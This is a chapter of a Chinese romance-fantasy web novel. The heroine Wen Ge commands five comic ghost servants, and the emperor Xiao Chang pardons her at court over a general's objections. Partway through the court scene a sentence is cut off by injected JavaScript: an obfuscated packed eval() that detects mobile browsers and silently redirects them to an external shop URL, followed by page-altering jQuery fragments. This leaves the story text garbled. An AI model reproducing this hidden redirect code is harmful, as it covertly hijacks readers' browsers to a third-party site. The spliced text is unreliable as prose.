30. 第 30 章

作品:《皇上悄悄喜欢我

    烛火轻轻摇曳,将闻歌紧绷的身影投在墙壁上,拉得很长。


    她握着刀柄的手指节发白,声音努力维持平稳,却仍泄露出一丝不易察觉的颤音:“赶……赶快给我现身!”


    话音落下,房间内静了片刻。


    随即,空气泛起水波般的涟漪。五团模糊的光影一闪一闪地浮现,由虚转实,渐渐清晰。


    “主人,我们知错啦……”


    五个小小的身影显出身形,齐刷刷跪成一排。


    闻歌终于看清了它们的模样——约莫七八岁孩童高矮,穿着破旧但整洁的短褂,脸蛋雪白,两颊却各有一团喜庆的嫣红,头顶都扎着冲天小辫,随着它们低头的动作一翘一翘。


    饶是做足了心理准备,亲眼见到鬼魂显形,闻歌还是被惊得从圆凳上弹了起来。一股阴冷的气息仿佛自地底渗出,顺着脚踝攀上脊骨,直冲后脑勺。她额头瞬间沁出细密冷汗,握着“神刀”(实则是她随身携带的防身匕首)的手紧了又紧。


    “主、主人,”跪在最中间的鬼大怯生生抬头,声音细细的,“我们是老神仙派来助您修仙的。”


    闻歌瞳孔微缩:“什么?”


    鬼二连忙补充:“真的!老神仙说您仙缘深厚,但劫难也多,特命我们兄弟五个前来护持!”


    “我是你们的主人?这是老神仙安排的?”闻歌绷紧的神经稍微松了松,但警惕未消。


    五个小鬼齐齐点头,动作整齐得有些滑稽。


    闻歌眼珠一转,试探道:“那既然我是主人,你们……怕不怕我?”


    “害怕!”鬼大缩了缩脖子。


    “不怕!”鬼二挺起小胸脯。


    “害、害怕……”鬼三声音发飘。


    “不怕!”鬼四嘴硬。


    “好、好怕……”鬼五都快把脑袋埋进胸口了。


    意见乱七八糟。


    闻歌眯起眼,手中匕首“啪”地拍在桌上:“到底怕还是不怕?!”


    “害怕!害怕!”五个小鬼被那声响吓得一哆嗦,终于统一了口径,小脑袋垂得更低了。


    闻歌见状,心里那点残留的惧意彻底被新奇取代。原来鬼也怕人,尤其是怕凶的人?她腰杆不由得挺直了些,学着父亲审犯人的腔调:“你们跟着我多久了?”


    “自火云貂认主后,我们就一直跟着您了。”鬼大老老实实回答。


    “你们是什么……鬼?”


    “我们是修行百年的貂魂。”五个小鬼齐刷刷指向闻歌腕间——那里,火云貂化作的印记在烛光下泛着微弱的红光。


    闻歌下意识摸了摸手腕。难怪这貂儿有时像有灵性……原来真有灵。


    “那你们怎么帮我修仙?”她追问。


    五个小鬼面面相觑,然后集体摇了摇头。


    “不知道?”闻歌挑眉,“那你们来干什么?装神弄鬼吓唬人?”


    小鬼们又把头摇成了拨浪鼓。


    它们互相使着眼色,用闻歌听不见的“鬼语”叽叽喳喳:


    “老大,主人好像没那么可怕了?”


    “闭嘴,她在试探我们!”


    “我觉得主人长得真好看,比庙里的仙女像还好看……”


    “马屁精!现在是想这个的时候吗?”


    “那我们该怎么办?给她捶腿?倒茶?”


    闻歌见它们挤眉弄眼却不吭声,又一拍桌子:“嘀嘀咕咕说什么呢!”


    “我们在说主人真美!美若天仙!”鬼二反应最快。


    “我们在说主人……气势非凡!”鬼三连忙接上。


    “我们在想怎么伺候主人!”鬼四机灵道。


    “等主人吩咐!”鬼五赶紧表忠心。


    鬼大擦了把不存在的汗:“……它们说的都对。”


    闻歌看着这五个表情生动、怂中带萌的小鬼,差点没绷住笑出来。她赶紧抿紧嘴唇,告诫自己:初次见面,威严要紧!不然以后怎么管得住这帮鬼崽子?


    她故意板起脸,冷哼一声。


    五个小鬼察言观色,立刻行动起来——


    鬼大飘到桌边,小心翼翼地捧起茶壶倒水;鬼二不知从哪儿摸出一小碟瓜子,认真剥了起来;鬼三、鬼四一左一右凑到闻歌腿边,伸出半透明的小拳头,轻轻捶腿;鬼五则拿起一旁的团扇,殷勤地扇风。


    动作虽然生疏,甚至有些滑稽(鬼四捶腿捶到了自己脑袋),但那副努力讨好的模样,实在让人忍俊不禁。


    闻歌端起茶杯,借氤氲的热气掩住上扬的嘴角。这些小鬼……好像还挺有意思?


    恰在此时,门外传来窸窸窣窣的声响。小桃和小红互相搀扶着,战战兢兢地探进半个脑袋。


    “进来吧,别怕。”闻歌朝她们招手,语气轻松,“它们是我的手下,老神仙派来伺候我的。”


    小桃瞪大了眼睛,对小红耳语:“小姐……不会是鬼上身了吧?”


    小红壮着胆子问:“小姐,您、您没事吧?”


    “没事,过来。”闻歌笑了笑,转头对五个小鬼道,“来,见过我的两个好姐妹。”


    五个小鬼立刻转向门口,齐刷刷行礼:


    “鬼大,见过两位小主!”


    “鬼二,见过!”


    “鬼三,给两位小主请安啦!”


    “鬼四,见、见过!”


    “鬼五,拜见主子!”


    小桃和小红目瞪口呆地看着茶杯自动飘到面前,看着瓜子仁一颗颗落入碟中,看着团扇无风自动……半晌,小桃颤巍巍接过茶杯,喃喃道:“小、小姐……您太厉害了……”


    连鬼都能收服!


    闻歌翘起二郎腿,享受着“小鬼按摩”,心中那点最后的不安也烟消云散。**原来恐惧大多源于未知,一旦看清了、熟悉了,即便是鬼,也不过是另一种模样的“生灵”。**


    这一夜,闻歌闺房灯火通明,时而传出压低的笑声和惊呼。


    而窗外,月色皎洁,星子疏朗。


    翌日,皇宫,朝堂。


    闻歌隐在金龙屏风后的门帘内,透过缝隙望向殿外。金銮殿庄严肃穆,文武百官分列两侧,鸦雀无声。


    萧昌高坐龙椅,玄色冕旒垂下,遮住了他大半神情,唯见薄唇微启,声音沉稳地传遍大殿:


    “朕今日只议一事——关于安国郡主的处置。”


    殿内气息为之一凝。


    “前次朝议,诸位爱卿争执不下。”萧昌指尖轻叩扶手,“朕思忖良久,倒是觉得——直接赦免,亦无不可。诸位,意下如何?”


    门帘后,闻歌心口一跳。她知道这是萧昌在为她铺路,以便名正言顺地去查案。可她也清楚,这话一出,必遭反对。


    果然,武将队列中,一人大步出列。


    “微臣以为,不可!”


    声如洪钟。闻歌眯眼望去——那是一位身材魁梧、面容刚毅的将军,甲胄锃亮,气势逼人。


    “你谁啊?”闻歌腹诽,“脑袋让门夹了?皇上都开口了还敢反对?”


    紧接着,又一个出乎意料的声音响起:“微臣以为,皇上圣明,赦免安国郡主,正当其时。”


    闻歌循声望去,竟是皇叔!那个之前恨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992199|193764||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不得立刻将她斩首的王爷!


    她心中警铃大作。皇叔转性了?还是……另有所图?黄鼠狼给鸡拜年,能安什么好心?


    萧昌似乎并不意外,抬手虚按:“皇叔稍安。”他目光转向那位武将,“赵爱卿,且说说你的道理。”


    赵柯成抱拳,声震殿宇:“安国郡主闻歌,自称天子、杀害官兵、抢夺官银,证据确凿!若不治罪,国法何在?军心何存?臣请旨,立斩闻歌,以正国法!”


    闻歌在帘后气得咬牙。赵大将军?皇后本家就姓赵,听说她有个哥哥掌着京畿兵权……好嘛,皇后那边的人也跳出来了!我刨你家祖坟了?


    萧昌神色未变,只淡淡问:“证据确凿?朕倒想听听,如何确凿法?”


    闻丞相急忙出列:“皇上明鉴!小女绝未犯下如此重罪!”


    “丞相爱女心切,可以理解。”赵柯成毫不退让,“但据报,安国郡主被捕之处,正是官银被劫现场!护送官兵全军覆没,其同党亦在场!人证物证,皆指向她!”


    萧昌身体微微前倾:“哦?那现场那些蒙面尸首是何人?她的‘同党’为何尽数被杀?被劫的官银,又在哪里?”


    赵柯成微微一滞,旋即道:“必是分赃不均,内讧所致!至于官银,定是被其藏匿!”


    “赵将军,”萧昌声音沉了几分,“据朕所知,当时她身边不过百人,且多是老弱妇孺。而押运官兵上千,装备精良。你告诉朕,这群拿着烧火棍的百姓,如何能从上千官兵手中‘抢夺’官银?又如何在‘内讧’中被杀后,官银却不翼而飞?”


    赵柯成额角见汗:“这……其中必有武艺高强之辈……”


    “武艺高强?”萧昌冷笑,“那他们现在何处?坟冢之中吗?”


    “即便抢夺官银存疑,”赵柯成咬牙转换话锋,“但她自称‘土皇帝’,藐视皇权,总是事实!”


    萧昌忽然笑了。那笑容里带着一种洞察世事的淡然。


    “若真有这样一位‘土皇帝’,”他缓缓扫视群臣,“她不贪权,不敛财,带着流离失所的难民乞丐开荒种地、自食其力,让他们有屋可居、有饭可食……这难道不是变相替朕安抚了流民,稳固了地方?”


    他顿了顿,一字一句道:“这样的‘土皇帝’,朕非但不罚,还要赏!”


    门帘后,闻歌怔住了。她没想到萧昌会从这个角度为她辩护。那些她以为是“胡闹”的经历,在他口中,竟成了“安抚流民”“稳固地方”的功绩。


    心底某个角落,被轻轻触动了。


    “皇上圣明!洞察秋毫,臣等拜服!”闻丞相与几位大臣连忙附和。


    皇叔也躬身道:“皇上胸怀四海,仁德载物,安国郡主虽行事跳脱,然初心不坏,确可宽宥。”


    赵柯成脸色铁青,却一时语塞。


    萧昌目光掠过他,望向殿外辽阔的天空,声音平静却带着不容置疑的力量:“此事,朕意已决。安国郡主闻歌,所涉诸事,皆系误会。即日起,恢复其一切尊荣,不得再议。”


    他站起身,冕旒玉珠轻撞,发出清脆声响。


    “退朝。”


    百官山呼万岁。


    闻歌站在帘后,看着那道明黄身影转身离去,忽然觉得,这个她一直认为是“昏君”的男人,或许比她想象中,要复杂得多。


    他为何如此坚定地保她?真的只是为了让她查案?还是……另有深意?


    而殿外,阳光正好,穿过高高的窗棂,在光洁的金砖上投下道道光柱。


    一场风波暂歇。


    但暗涌,从未停止。